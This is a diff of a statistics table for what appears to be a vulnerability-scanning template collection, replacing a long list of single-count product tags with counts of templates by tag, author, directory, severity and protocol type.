| | | | | | | | -| sco | 1 | | | | | | | | | -| lokalise | 1 | | | | | | | | | -| elementor | 1 | | | | | | | | | -| defectdojo | 1 | | | | | | | | | -| hanwang | 1 | | | | | | | | | -| directum | 1 | | | | | | | | | -| sauter | 1 | | | | | | | | | -| memcached | 1 | | | | | | | | | -| festivo | 1 | | | | | | | | | -| u8 | 1 | | | | | | | | | -| mtheme | 1 | | | | | | | | | -| console | 1 | | | | | | | | | -| xds | 1 | | | | | | | | | -| dribbble | 1 | | | | | | | | | -| polarisft | 1 | | | | | | | | | -| upnp | 1 | | | | | | | | | -| h2 | 1 | | | | | | | | | -| barracuda | 1 | | | | | | | | | -| oam | 1 | | | | | | | | | -| superset | 1 | | | | | | | | | -| pagespeed | 1 | | | | | | | | | -| perl | 1 | | | | | | | | | -| semaphore | 1 | | | | | | | | | -| mpsec | 1 | | | | | | | | | -| gurock | 1 | | | | | | | | | -| smartblog | 1 | | | | | | | | | -| extreme | 1 | | | | | | | | | -| scalar | 1 | | | | | | | | | -| dwsync | 1 | | | | | | | | | -| apigee | 1 | | | | | | | | | -| calendly | 1 | | | | | | | | | -| announcekit | 1 | | | | | | | | | -| varnish | 1 | | | | | | | | | -| quantum | 1 | | | | | | | | | -| portainer | 1 | | | | | | | | | -| caddy | 1 | | | | | | | | | -| covalent | 1 | | | | | | | | | -| boa | 1 | | | | | | | | | -| roads | 1 | | | | | | | | | -| kindeditor | 1 | | | | | | | | | -| huijietong | 1 | | | | | | | | | -| slstudio | 1 | | | | | | | | | -| droneci | 1 | | | | | | | | | -| concrete5 | 1 | | | | | | | | | -| intellislot | 1 | | | | | | | | | -| acemanager | 1 | | | | | | | | | -| opensso | 1 | | | | | | | | | -| admin | 1 | | | | | | | | | -| clickhouse | 1 | | | | | | | | | -| aniapi | 1 | | | | | | | | | -| server | 1 | | | | | | | | | -| geocode | 1 | | | | | | | | | -| asana | 1 | | | | | | | | | -| identityguard | 1 | | | | | | | | | -| ymhome | 1 | | | | | | | | | -| ioncube | 1 | | | | | | | | | -| pastebin | 1 | | | | | | | | | -| atvise | 1 | | | | | | | | | -| lancom | 1 | | | | | | | | | -| fortigates | 1 | | | | | | | | | -| clansphere | 1 | | | | | | | | | -| froxlor | 1 | | | | | | | | | -| mongo-express | 1 | | | | | | | | | -| amcrest | 1 | | | | | | | | | -| trane | 1 | | | | | | | | | -| babel | 1 | | | | | | | | | -| lionwiki | 1 | | | | | | | | | -| harvardart | 1 | | | | | | | | | -| labtech | 1 | | | | | | | | | -| comodo | 1 | | | | | | | | | -| dasan | 1 | | | | | | | | | -| redmine | 1 | | | | | | | | | -| zoomsounds | 1 | | | | | | | | | -| iucn | 1 | | | | | | | | | -| nerdgraph | 1 | | | | | | | | | -| neo4j | 1 | | | | | | | | | -| cooperhewitt | 1 | | | | | | | | | -| yishaadmin | 1 | | | | | | | | | -| travis | 1 | | | | | | | | | -| oliver | 1 | | | | | | | | | -| web-dispatcher | 1 | | | | | | | | | -| werkzeug | 1 | | | | | | | | | -| vanguard | 1 | | | | | | | | | -| pivotaltracker | 1 | | | | | | | | | -| bing | 1 | | | | | | | | | -| mastodon | 1 | | | | | | | | | -| vision | 1 | | | | | | | | | -| spotify | 1 | | | | | | | | | -| zookeeper | 1 | | | | | | | | | -| minimouse | 1 | | | | | | | | | -| wavlink | 1 | | | | | | | | | -| paneil | 1 | | | | | | | | | -| submitty | 1 | | | | | | | | | -| intelliflash | 1 | | | | | | | | | -| onelogin | 1 | | | | | | | | | -| gcp | 1 | | | | | | | | | -| thecatapi | 1 | | | | | | | | | -| moinmoin | 1 | | | | | | | | | -| dreamweaver | 1 | | | | | | | | | -| loganalyzer | 1 | | | | | | | | | -| moonpay | 1 | | | | | | | | | -| emby | 1 | | | | | | | | | -| billquick | 1 | | | | | | | | | -| improvmx | 1 | | | | | | | | | -| dolphinscheduler | 1 | | | | | | | | | -| tekon | 1 | | | | | | | | | -| biometrics | 1 | | | | | | | | | -| mozilla | 1 | | | | | | | | | -| secnet | 1 | | | | | | | | | -| raspap | 1 | | | | | | | | | -| kramer | 1 | | | | | | | | | -| kerio | 1 | | | | | | | | | -| skywalking | 1 | | | | | | | | | -| cloudron | 1 | | | | | | | | | -| web3storage | 1 | | | | | | | | | -| alchemy | 1 | | | | | | | | | -| autocomplete | 1 | | | | | | | | | -| rsa | 1 | | | | | | | | | -| svnserve | 1 | | | | | | | | | -| spiderfoot | 1 | | | | | | | | | -| block | 1 | | | | | | | | | -| taiga | 1 | | | | | | | | | -| nuxeo | 1 | | | | | | | | | -| lg-nas | 1 | | | | | | | | | -| binance | 1 | | | | | | | | | -| rdp | 1 | | | | | | | | | -| noptin | 1 | | | | | | | | | -| edgemax | 1 | | | | | | | | | -| scs | 1 | | | | | | | | | -| opnsense | 1 | | | | | | | | | -| oscommerce | 1 | | | | | | | | | -| find | 1 | | | | | | | | | -| tcexam | 1 | | | | | | | | | -| secmail | 1 | | | | | | | | | -| ueditor | 1 | | | | | | | | | -| bedita | 1 | | | | | | | | | -| playable | 1 | | | | | | | | | -| grails | 1 | | | | | | | | | -| fortilogger | 1 | | | | | | | | | -| gloo | 1 | | | | | | | | | -| rhymix | 1 | | | | | | | | | -| coinmarketcap | 1 | | | | | | | | | -| geddy | 1 | | | | | | | | | -| haproxy | 1 | | | | | | | | | -| expose | 1 | | | | | | | | | -| newsletter | 1 | | | | | | | | | -| meshcentral | 1 | | | | | | | | | -| krweb | 1 | | | | | | | | | -| bigfix | 1 | | | | | | | | | -| overflow | 1 | | | | | | | | | -| kyocera | 1 | | | | | | | | | -| xmpp | 1 | | | | | | | | | -| codemeter | 1 | | | | | | | | | -| catfishcms | 1 | | | | | | | | | -| tieline | 1 | | | | | | | | | -| adoptapet | 1 | | | | | | | | | -| zzzphp | 1 | | | | | | | | | -| distance | 1 | | | | | | | | | -| leanix | 1 | | | | | | | | | -| elevation | 1 | | | | | | | | | -| dbt | 1 | | | | | | | | | -| cse | 1 | | | | | | | | | -| bonita | 1 | | | | | | | | | -| novnc | 1 | | | | | | | | | -| totolink | 1 | | | | | | | | | -| gstorage | 1 | | | | | | | | | -| radius | 1 | | | | | | | | | -| emessage | 1 | | | | | | | | | -| malwarebazaar | 1 | | | | | | | | | -| europeana | 1 | | | | | | | | | -| cscart | 1 | | | | | | | | | -| jinfornet | 1 | | | | | | | | | -| opensmtpd | 1 | | | | | | | | | -| loqate | 1 | | | | | | | | | -| sgp | 1 | | | | | | | | | -| weboftrust | 1 | | | | | | | | | -| opentsdb | 1 | | | | | | | | | -| netmask | 1 | | | | | | | | | -| prestahome | 1 | | | | | | | | | -| chronoforums | 1 | | | | | | | | | -| beanstalk | 1 | | | | | | | | | -| netweaver | 1 | | | | | | | | | -| blue-ocean | 1 | | | | | | | | | -| b2evolution | 1 | | | | | | | | | -| micro | 1 | | | | | | | | | -| wago | 1 | | | | | | | | | -| octobercms | 1 | | | | | | | | | -| xml | 1 | | | | | | | | | -| alquist | 1 | | | | | | | | | -| jeewms | 1 | | | | | | | | | -| mautic | 1 | | | | | | | | | -| micro-user-service | 1 | | | | | | | | | -| smi | 1 | | | | | | | | | -| tinymce | 1 | | | | | | | | | -| barco | 1 | | | | | | | | | -| pan | 1 | | | | | | | | | -| sponip | 1 | | | | | | | | | -| projector | 1 | | | | | | | | | -| cybrotech | 1 | | | | | | | | | -| musicstore | 1 | | | | | | | | | -| stytch | 1 | | | | | | | | | -| weiphp | 1 | | | | | | | | | -| cofax | 1 | | | | | | | | | -| mkdocs | 1 | | | | | | | | | -| goip | 1 | | | | | | | | | -| pendo | 1 | | | | | | | | | -| nordex | 1 | | | | | | | | | -| mojoauth | 1 | | | | | | | | | -| ubnt | 1 | | | | | | | | | -| cve2000 | 1 | | | | | | | | | -| sourcebans | 1 | | | | | | | | | -| livehelperchat | 1 | | | | | | | | | -| iceflow | 1 | | | | | | | | | -| fastcgi | 1 | | | | | | | | | -| idor | 1 | | | | | | | | | -| buildkite | 1 | | | | | | | | | -| dokuwiki | 1 | | | | | | | | | -| expressjs | 1 | | | | | | | | | -| admidio | 1 | | | | | | | | | -| pyspider | 1 | | | | | | | | | -| strider | 1 | | | | | | | | | -| cryptocurrencies | 1 | | | | | | | | | -| jenzabar | 1 | | | | | | | | | -| webeditors | 1 | | | | | | | | | -| bullwark | 1 | | | | | | | | | -| aspnuke | 1 | | | | | | | | | -| xamr | 1 | | | | | | | | | -| wifisky | 1 | | | | | | | | | -| browserless | 1 | | | | | | | | | -| discord | 1 | | | | | | | | | -| webctrl | 1 | | | | | | | | | -| wix | 1 | | | | | | | | | -| sceditor | 1 | | | | | | | | | -| geoserver | 1 | | | | | | | | | -| directions | 1 | | | | | | | | | -| szhe | 1 | | | | | | | | | -| phoronix | 1 | | | | | | | | | -| vscode | 1 | | | | | | | | | -| maccmsv10 | 1 | | | | | | | | | -| lanproxy | 1 | | | | | | | | | -| testrail | 1 | | | | | | | | | -| supervisor | 1 | | | | | | | | | -| dbeaver | 1 | | | | | | | | | -| ocs-inventory | 1 | | | | | | | | | -| chevereto | 1 | | | | | | | | | -| cerebro | 1 | | | | | | | | | -| ucs | 1 | | | | | | | | | -| crm | 1 | | | | | | | | | -| erp-nc | 1 | | | | | | | | | -| drone | 1 | | | | | | | | | -| uwsgi | 1 | | | | | | | | | -| nette | 1 | | | | | | | | | -| mdb | 1 | | | | | | | | | -| blockchain | 1 | | | | | | | | | -| logontracer | 1 | | | | | | | | | -| etcd | 1 | | | | | | | | | -| jabber | 1 | | | | | | | | | -| karel | 1 | | | | | | | | | -| camunda | 1 | | | | | | | | | -| zuul | 1 | | | | | | | | | -| etherscan | 1 | | | | | | | | | -| avatier | 1 | | | | | | | | | -| visionhub | 1 | | | | | | | | | -| xdcms | 1 | | | | | | | | | -| rmi | 1 | | | | | | | | | -| coinapi | 1 | | | | | | | | | -| piwigo | 1 | | | | | | | | | -| bible | 1 | | | | | | | | | -| suprema | 1 | | | | | | | | | -| tika | 1 | | | | | | | | | -| visualtools | 1 | | | | | | | | | -| servicedesk | 1 | | | | | | | | | -| zenphoto | 1 | | | | | | | | | -| xproxy | 1 | | | | | | | | | -| jupyterhub | 1 | | | | | | | | | -| episerver | 1 | | | | | | | | | -| streetview | 1 | | | | | | | | | -| mrtg | 1 | | | | | | | | | -| jaspersoft | 1 | | | | | | | | | -| fortressaircraft | 1 | | | | | | | | | -| bitcoinaverage | 1 | | | | | | | | | -| placeos | 1 | | | | | | | | | -| svn | 1 | | | | | | | | | -| wiki | 1 | | | | | | | | | -| fastapi | 1 | | | | | | | | | -| pihole | 1 | | | | | | | | | -| owa | 1 | | | | | | | | | -| instagram | 1 | | | | | | | | | -| gateone | 1 | | | | | | | | | -| expn | 1 | | | | | | | | | -| opm | 1 | | | | | | | | | -| eprints | 1 | | | | | | | | | -| yachtcontrol | 1 | | | | | | | | | -| adiscon | 1 | | | | | | | | | -| karma | 1 | | | | | | | | | -| mirasys | 1 | | | | | | | | | -| yongyou | 1 | | | | | | | | | -| route | 1 | | | | | | | | | -| virustotal | 1 | | | | | | | | | -| axxonsoft | 1 | | | | | | | | | -| securepoint | 1 | | | | | | | | | -| hiawatha | 1 | | | | | | | | | -| domino | 1 | | | | | | | | | -| idemia | 1 | | | | | | | | | -| shadoweb | 1 | | | | | | | | | -| restler | 1 | | | | | | | | | -| alerta | 1 | | | | | | | | | -| interlib | 1 | | | | | | | | | -| aims | 1 | | | | | | | | | -| shoretel | 1 | | | | | | | | | -| emlog | 1 | | | | | | | | | -| cassandra | 1 | | | | | | | | | -| librenms | 1 | | | | | | | | | -| richfaces | 1 | | | | | | | | | -| timeclock | 1 | | | | | | | | | -| mara | 1 | | | | | | | | | -| dvdFab | 1 | | | | | | | | | -| synapse | 1 | | | | | | | | | -| abuseipdb | 1 | | | | | | | | | -| cve2021wordpress | 1 | | | | | | | | | -| burp | 1 | | | | | | | | | -| urlscan | 1 | | | | | | | | | -| faust | 1 | | | | | | | | | -| discourse | 1 | | | | | | | | | -| clearbit | 1 | | | | | | | | | -| anchorcms | 1 | | | | | | | | | -| eyoumail | 1 | | | | | | | | | -| nedi | 1 | | | | | | | | | -| osquery | 1 | | | | | | | | | -| ninjaform | 1 | | | | | | | | | -| cloudera | 1 | | | | | | | | | -| deviantart | 1 | | | | | | | | | -| petfinder | 1 | | | | | | | | | -| rijksmuseum | 1 | | | | | | | | | -| xoops | 1 | | | | | | | | | -| tugboat | 1 | | | | | | | | | -| graylog | 1 | | | | | | | | | -| secnet-ac | 1 | | | | | | | | | -| redcap | 1 | | | | | | | | | -| spf | 1 | | | | | | | | | -| majordomo2 | 1 | | | | | | | | | -| accuweather | 1 | | | | | | | | | -| ecshop | 1 | | | | | | | | | -| tufin | 1 | | | | | | | | | -| rsyncd | 1 | | | | | | | | | -| opencast | 1 | | | | | | | | | -| thedogapi | 1 | | | | | | | | | -| locations | 1 | | | | | | | | | -| version | 1 | | | | | | | | | -| cliniccases | 1 | | | | | | | | | -| natemail | 1 | | | | | | | | | -| 74cms | 1 | | | | | | | | | -| emc | 1 | | | | | | | | | -| webex | 1 | | | | | | | | | -| fcm | 1 | | | | | | | | | -| ganglia | 1 | | | | | | | | | -| geolocation | 1 | | | | | | | | | -| openx | 1 | | | | | | | | | -| achecker | 1 | | | | | | | | | -| foss | 1 | | | | | | | | | -| zend | 1 | | | | | | | | | -| primetek | 1 | | | | | | | | | -| accent | 1 | | | | | | | | | -| kronos | 1 | | | | | | | | | -| ruoyi | 1 | | | | | | | | | -| myvuehelp | 1 | | | | | | | | | -| launchdarkly | 1 | | | | | | | | | -| rainloop | 1 | | | | | | | | | -| twig | 1 | | | | | | | | | -| saml | 1 | | | | | | | | | -| ns | 1 | | | | | | | | | -| pagerduty | 1 | | | | | | | | | -| sls | 1 | | | | | | | | | -| parentlink | 1 | | | | | | | | | -| leostream | 1 | | | | | | | | | -| ucp | 1 | | | | | | | | | -| lacie | 1 | | | | | | | | | -| netrc | 1 | | | | | | | | | -| pyramid | 1 | | | | | | | | | -| fedora | 1 | | | | | | | | | -| wildfly | 1 | | | | | | | | | -| gocron | 1 | | | | | | | | | -| spinnaker | 1 | | | | | | | | | -| daybyday | 1 | | | | | | | | | -| mailboxvalidator | 1 | | | | | | | | | -| fms | 1 | | | | | | | | | -| ntopng | 1 | | | | | | | | | -| shopizer | 1 | | | | | | | | | -| open-redirect | 1 | | | | | | | | | -| k8 | 1 | | | | | | | | | -| cors | 1 | | | | | | | | | -| jnoj | 1 | | | | | | | | | -| contactform | 1 | | | | | | | | | -| crestron | 1 | | | | | | | | | -| zenario | 1 | | | | | | | | | -| opengear | 1 | | | | | | | | | -| AlphaWeb | 1 | | | | | | | | | -| processwire | 1 | | | | | | | | | -| springframework | 1 | | | | | | | | | -| cx | 1 | | | | | | | | | -| webftp | 1 | | | | | | | | | -| ewebs | 1 | | | | | | | | | -| landrayoa | 1 | | | | | | | | | -| whmcs | 1 | | | | | | | | | -| racksnet | 1 | | | | | | | | | -| kodi | 1 | | | | | | | | | -| hetzner | 1 | | | | | | | | | -| zipkin | 1 | | | | | | | | | -| phalcon | 1 | | | | | | | | | -| scanii | 1 | | | | | | | | | -| piluscart | 1 | | | | | | | | | -| cve2002 | 1 | | | | | | | | | -| dnn | 1 | | | | | | | | | -| graphiql | 1 | | | | | | | | | -| office365 | 1 | | | | | | | | | -| email | 1 | | | | | | | | | -| commvault | 1 | | | | | | | | | -| wdja | 1 | | | | | | | | | -| hdnetwork | 1 | | | | | | | | | -| groupoffice | 1 | | | | | | | | | -| gsm | 1 | | | | | | | | | -| finereport | 1 | | | | | | | | | -| msmtp | 1 | | | | | | | | | -| privx | 1 | | | | | | | | | -| zmanda | 1 | | | | | | | | | -| getgrav | 1 | | | | | | | | | -| gunicorn | 1 | | | | | | | | | -| sucuri | 1 | | | | | | | | | -| floc | 1 | | | | | | | | | -| vsphere | 1 | | | | | | | | | -| redhat | 1 | | | | | | | | | -| learnpress | 1 | | | | | | | | | -| phabricator | 1 | | | | | | | | | -| jwt | 1 | | | | | | | | | -| klog | 1 | | | | | | | | | -| caseaware | 1 | | | | | | | | | -| guppy | 1 | | | | | | | | | -| myucms | 1 | | | | | | | | | -| turbocrm | 1 | | | | | | | | | -| cherokee | 1 | | | | | | | | | -| tinypng | 1 | | | | | | | | | -| securenvoy | 1 | | | | | | | | | -| alltube | 1 | | | | | | | | | -| csod | 1 | | | | | | | | | -| dotclear | 1 | | | | | | | | | -| dss | 1 | | | | | | | | | -| viewlinc | 1 | | | | | | | | | -| socomec | 1 | | | | | | | | | -| wondercms | 1 | | | | | | | | | -| casemanager | 1 | | | | | | | | | -| glowroot | 1 | | | | | | | | | -| ricoh | 1 | | | | | | | | | -| allied | 1 | | | | | | | | | -| twitter-server | 1 | | | | | | | | | -| adminset | 1 | | | | | | | | | -| wakatime | 1 | | | | | | | | | -| jreport | 1 | | | | | | | | | -| lenovo | 1 | | | | | | | | | -| iterable | 1 | | | | | | | | | -| quip | 1 | | | | | | | | | -| teradici | 1 | | | | | | | | | -| sourcecodester | 1 | | | | | | | | | -| jenkin | 1 | | | | | | | | | -| postgres | 1 | | | | | | | | | -| remkon | 1 | | | | | | | | | -| cgit | 1 | | | | | | | | | -| shiro | 1 | | | | | | | | | -| hue | 1 | | | | | | | | | -| opensns | 1 | | | | | | | | | -| etherpad | 1 | | | | | | | | | -| razor | 1 | | | | | | | | | -| viaware | 1 | | | | | | | | | -| phpfastcache | 1 | | | | | | | | | -| raspberrymatic | 1 | | | | | | | | | -| powercreator | 1 | | | | | | | | | -| buildbot | 1 | | | | | | | | | -| ddownload | 1 | | | | | | | | | -| argocd | 1 | | | | | | | | | -| xunchi | 1 | | | | | | | | | -| calendarix | 1 | | | | | | | | | -| jspxcms | 1 | | | | | | | | | -| h5s | 1 | | | | | | | | | -| pulsesecure | 1 | | | | | | | | | -| eyou | 1 | | | | | | | | | -| qualcomm | 1 | | | | | | | | | -| lumis | 1 | | | | | | | | | -| limit | 1 | | | | | | | | | -| phpfusion | 1 | | | | | | | | | -| smuggling | 1 | | | | | | | | | -| bitquery | 1 | | | | | | | | | -| eibiz | 1 | | | | | | | | | -| timesheet | 1 | | | | | | | | | -| adb | 1 | | | | | | | | | -| mapbox | 1 | | | | | | | | | -| nexusdb | 1 | | | | | | | | | -| directadmin | 1 | | | | | | | | | -| huemagic | 1 | | | | | | | | | -| asanhamayesh | 1 | | | | | | | | | -| prismaweb | 1 | | | | | | | | | -| gilacms | 1 | | | | | | | | | -| meraki | 1 | | | | | | | | | -| optimizely | 1 | | | | | | | | | -| gofile | 1 | | | | | | | | | -| eyoucms | 1 | | | | | | | | | -| salesforce | 1 | | | | | | | | | -| biostar2 | 1 | | | | | | | | | -| mariadb | 1 | | | | | | | | | -| ilo4 | 1 | | | | | | | | | -| mantis | 1 | | | | | | | | | -| zcms | 1 | | | | | | | | | -| hanming | 1 | | | | | | | | | -| timezone | 1 | | | | | | | | | -| coinranking | 1 | | | | | | | | | -| kubeflow | 1 | | | | | | | | | -| web-suite | 1 | | | | | | | | | -| simplecrm | 1 | | | | | | | | | -| vercel | 1 | | | | | | | | | -| gemweb | 1 | | | | | | | | | -| yarn | 1 | | | | | | | | | -| planon | 1 | | | | | | | | | -| opencart | 1 | | | | | | | | | -| trilithic | 1 | | | | | | | | | -| okta | 1 | | | | | | | | | -| acme | 1 | | | | | | | | | -| loytec | 1 | | | | | | | | | -| honeypot | 1 | | | | | | | | | -| plc | 1 | | | | | | | | | -| nifi | 1 | | | | | | | | | -| kyan | 1 | | | | | | | | | -| nutanix | 1 | | | | | | | | | -| chinaunicom | 1 | | | | | | | | | -| mongoshake | 1 | | | | | | | | | -| fanwei | 1 | | | | | | | | | -| telecom | 1 | | | | | | | | | -| rujjie | 1 | | | | | | | | | -| kodexplorer | 1 | | | | | | | | | -| thinkserver | 1 | | | | | | | | | -| istat | 1 | | | | | | | | | -| veeam | 1 | | | | | | | | | -| clave | 1 | | | | | | | | | -| gsoap | 1 | | | | | | | | | -| lfw | 1 | | | | | | | | | -| lutron | 1 | | | | | | | | | -| place | 1 | | | | | | | | | -| landray | 1 | | | | | | | | | -| csrfguard | 1 | | | | | | | | | -| easyappointments | 1 | | | | | | | | | -| zarafa | 1 | | | | | | | | | -| tectuus | 1 | | | | | | | | | -| wallix | 1 | | | | | | | | | -| satellian | 1 | | | | | | | | | -| mofi | 1 | | | | | | | | | -| pinata | 1 | | | | | | | | | -| cve2001 | 1 | | | | | | | | | -| hortonworks | 1 | | | | | | | | | -| sterling | 1 | | | | | | | | | -| txt | 1 | | | | | | | | | -| h5sconsole | 1 | | | | | | | | | -| etouch | 1 | | | | | | | | | -| qsan | 1 | | | | | | | | | -| zeppelin | 1 | | | | | | | | | -| ssi | 1 | | | | | | | | | -| ulterius | 1 | | | | | | | | | -| pippoint | 1 | | | | | | | | | -| phpwiki | 1 | | | | | | | | | -| goanywhere | 1 | | | | | | | | | -| stridercd | 1 | | | | | | | | | -| pmb | 1 | | | | | | | | | -| express | 1 | | | | | | | | | -| couchcms | 1 | | | | | | | | | -| sassy | 1 | | | | | | | | | -| qizhi | 1 | | | | | | | | | -| contentkeeper | 1 | | | | | | | | | -| yaws | 1 | | | | | | | | | -| memory-pipes | 1 | | | | | | | | | -| intellect | 1 | | | | | | | | | -| netgenie | 1 | | | | | | | | | -| gridx | 1 | | | | | | | | | -| pollbot | 1 | | | | | | | | | -| acontent | 1 | | | | | | | | | -| basic-auth | 1 | | | | | | | | | -| apiman | 1 | | | | | | | | | -| epm | 1 | | | | | | | | | -| tink | 1 | | | | | | | | | -| visualstudio | 1 | | | | | | | | | -| phpunit | 1 | | | | | | | | | -| spip | 1 | | | | | | | | | -| nps | 1 | | | | | | | | | -| hiboss | 1 | | | | | | | | | -| dropbox | 1 | | | | | | | | | -| myanimelist | 1 | | | | | | | | | -| synnefo | 1 | | | | | | | | | -| sar2html | 1 | | | | | | | | | -| esxi | 1 | | | | | | | | | -| xiuno | 1 | | | | | | | | | -| workresources | 1 | | | | | | | | | -| stem | 1 | | | | | | | | | -| faraday | 1 | | | | | | | | | -| addpac | 1 | | | | | | | | | -| oidc | 1 | | | | | | | | | -| shopxo | 1 | | | | | | | | | -| ncomputing | 1 | | | | | | | | | -| icinga | 1 | | | | | | | | | -| apple | 1 | | | | | | | | | -| keenetic | 1 | | | | | | | | | -| darkstat | 1 | | | | | | | | | -| zentral | 1 | | | | | | | | | -| sonarcloud | 1 | | | | | | | | | -| omi | 1 | | | | | | | | | -| blueiris | 1 | | | | | | | | | -| fastly | 1 | | | | | | | | | -| saltapi | 1 | | | | | | | | | -| dompdf | 1 | | | | | | | | | -| postmark | 1 | | | | | | | | | -| newrelic | 1 | | | | | | | | | -| snipeit | 1 | | | | | | | | | -| flexbe | 1 | | | | | | | | | -| eyesofnetwork | 1 | | | | | | | | | -| mdm | 1 | | | | | | | | | -| slocum | 1 | | | | | | | | | -| delta | 1 | | | | | | | | | -| tor | 1 | | | | | | | | | -| thinkadmin | 1 | | | | | | | | | -| box | 1 | | | | | | | | | -| strava | 1 | | | | | | | | | -| details | 1 | | | | | | | | | -| formalms | 1 | | | | | | | | | -| wmt | 1 | | | | | | | | | -| xmlchart | 1 | | | | | | | | | -| opensearch | 1 | | | | | | | | | -| trello | 1 | | | | | | | | | -| mx | 1 | | | | | | | | | -| h3c | 1 | | | | | | | | | -| iconfinder | 1 | | | | | | | | | -| cname | 1 | | | | | | | | | -| sofneta | 1 | | | | | | | | | -| starttls | 1 | | | | | | | | | -| asus | 1 | | | | | | | | | -| franklinfueling | 1 | | | | | | | | | -| exponentcms | 1 | | | | | | | | | -| nweb2fax | 1 | | | | | | | | | -| superwebmailer | 1 | | | | | | | | | -| alertmanager | 1 | | | | | | | | | -| wowza | 1 | | | | | | | | | -| revslider | 1 | | | | | | | | | -| sage | 1 | | | | | | | | | -| tamronos | 1 | | | | | | | | | -| lotuscms | 1 | | | | | | | | | -| siteomat | 1 | | | | | | | | | -| issabel | 1 | | | | | | | | | -| tuxedo | 1 | | | | | | | | | -| solarlog | 1 | | | | | | | | | -| smartsense | 1 | | | | | | | | | -| zoneminder | 1 | | | | | | | | | -| b2bbuilder | 1 | | | | | | | | | -| ssltls | 1 | | | | | | | | | -| dahua | 1 | | | | | | | | | -| pods | 1 | | | | | | | | | -| concourse | 1 | | | | | | | | | -| smartsheet | 1 | | | | | | | | | -| workspace | 1 | | | | | | | | | -| softaculous | 1 | | | | | | | | | -| biqsdrive | 1 | | | | | | | | | -| particle | 1 | | | | | | | | | -| argussurveillance | 1 | | | | | | | | | -| checkmarx | 1 | | | | | | | | | -| holidayapi | 1 | | | | | | | | | -| fleet | 1 | | | | | | | | | -| cve2004 | 1 | | | | | | | | | -| knowage | 1 | | | | | | | | | -| sunflower | 1 | | | | | | | | | -| clockwatch | 1 | | | | | | | | | -| arl | 1 | | | | | | | | | -| speed | 1 | | | | | | | | | -| ignition | 1 | | | | | | | | | -| feedwordpress | 1 | | | | | | | | | -| appweb | 1 | | | | | | | | | -| incapptic-connect | 1 | | | | | | | | | -| shopware | 1 | | | | | | | | | -| aerohive | 1 | | | | | | | | | -| doh | 1 | | | | | | | | | -| commscope | 1 | | | | | | | | | -| apcu | 1 | | | | | | | | | -| fhem | 1 | | | | | | | | | -| ecsimagingpacs | 1 | | | | | | | | | -| nimble | 1 | | | | | | | | | -| nomad | 1 | | | | | | | | | -| edgeos | 1 | | | | | | | | | -| malshare | 1 | | | | | | | | | -| oauth2 | 1 | | | | | | | | | -| qdpm | 1 | | | | | | | | | -| mediumish | 1 | | | | | | | | | -| flask | 1 | | | | | | | | | -| siemens | 1 | | | | | | | | | -| unisharp | 1 | | | | | | | | | -| dicoogle | 1 | | | | | | | | | -| kvm | 1 | | | | | | | | | -| ncbi | 1 | | | | | | | | | -| nc2 | 1 | | | | | | | | | -| adafruit | 1 | | | | | | | | | -| ebird | 1 | | | | | | | | | -| purestorage | 1 | | | | | | | | | -| bookstack | 1 | | | | | | | | | -| idera | 1 | | | | | | | | | -| wing-ftp | 1 | | | | | | | | | -| eyelock | 1 | | | | | | | | | -| ldap | 1 | | | | | | | | | -| struts2 | 1 | | | | | | | | | -| tarantella | 1 | | | | | | | | | -| fiori | 1 | | | | | | | | | -| luftguitar | 1 | | | | | | | | | -| optiLink | 1 | | | | | | | | | -| sast | 1 | | | | | | | | | -| htmli | 1 | | | | | | | | | -| dvr | 1 | | | | | | | | | -| bazarr | 1 | | | | | | | | | -| sitefinity | 1 | | | | | | | | | -| formcraft3 | 1 | | | | | | | | | -| webmodule-ee | 1 | | | | | | | | | -| api-manager | 1 | | | | | | | | | -| spectracom | 1 | | | | | | | | | -| webui | 1 | | | | | | | | | -| short.io | 1 | | | | | | | | | -| coinlayer | 1 | | | | | | | | | -| mappress | 1 | | | | | | | | | -| roundcube | 1 | | | | | | | | | -| blockfrost | 1 | | | | | | | | | -| rudloff | 1 | | | | | | | | | -| dotnet | 1 | | | | | | | | | -| ecosys | 1 | | | | | | | | | -| yopass | 1 | | | | | | | | | -| ecom | 1 | | | | | | | | | -| nearby | 1 | | | | | | | | | -| threatq | 1 | | | | | | | | | -| sprintful | 1 | | | | | | | | | -| acsoft | 1 | | | | | | | | | -| wazuh | 1 | | | | | | | | | -| centreon | 1 | | | | | | | | | -| portal | 1 | | | | | | | | | -| imap | 1 | | | | | | | | | -| wordcloud | 1 | | | | | | | | | -| aura | 1 | | | | | | | | | -| blackboard | 1 | | | | | | | | | -| okiko | 1 | | | | | | | | | +| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT | +|----------------------|-------|-------------------------------------|-------|------------------|-------|----------|-------|---------|-------| +| cve | 1430 | daffainfo | 631 | cves | 1407 | info | 1474 | http | 3858 | +| panel | 655 | dhiyaneshdk | 584 | exposed-panels | 662 | high | 1009 | file | 76 | +| edb | 563 | pikpikcu | 329 | vulnerabilities | 509 | medium | 818 | network | 51 | +| lfi | 509 | pdteam | 269 | technologies | 282 | critical | 478 | dns | 17 | +| xss | 491 | geeknik | 187 | exposures | 275 | low | 225 | | | +| wordpress | 419 | dwisiswant0 | 169 | misconfiguration | 237 | unknown | 11 | | | +| exposure | 407 | 0x_akoko | 165 | token-spray | 230 | | | | | +| cve2021 | 352 | princechaddha | 151 | workflows | 189 | | | | | +| rce | 337 | ritikchaddha | 137 | default-logins | 103 | | | | | +| wp-plugin | 316 | pussycat0x | 133 | file | 76 | | | | | +| tech | 295 | gy741 | 126 | takeovers | 68 | | | | | +| packetstorm | 276 | arafatansari | 79 | iot | 39 | | | | | +| token-spray | 230 | madrobot | 65 | network | 37 | | | | | +| cve2020 | 214 | zzeitlin | 64 | cnvd | 25 | | | | | +| wpscan | 212 | idealphase | 60 | miscellaneous | 24 | | | | | +| | 194 | akincibor | 46 | dns | 17 | | | | | +| cve2022 | 184 | gaurang | 42 | fuzzing | 12 | | | | | +| unauth | 158 | for3stco1d | 38 | headless | 7 | | | | | +| config | 147 | philippedelteil | 36 | ssl | 5 | | | | | +| cve2018 | 144 | adam crosser | 30 | | | | | | | +| kev | 141 | ice3man | 26 | | | | | | | +| cve2019 | 135 | c-sh0 | 26 | | | | | | | +| wp | 134 | organiccrap | 24 | | | | | | | +| joomla | 133 | ffffffff0x | 22 | | | | | | | +| apache | 123 | righettod | 22 | | | | | | | +| default-login | 118 | techbrunchfr | 21 | | | | | | | +| iot | 116 | cckuailong | 17 | | | | | | | +| oast | 112 | edoardottt | 17 | | | | | | | +| cve2010 | 111 | sheikhrishad | 15 | | | | | | | +| misconfig | 107 | sullo | 15 | | | | | | | +| sqli | 95 | pr3r00t | 15 | | 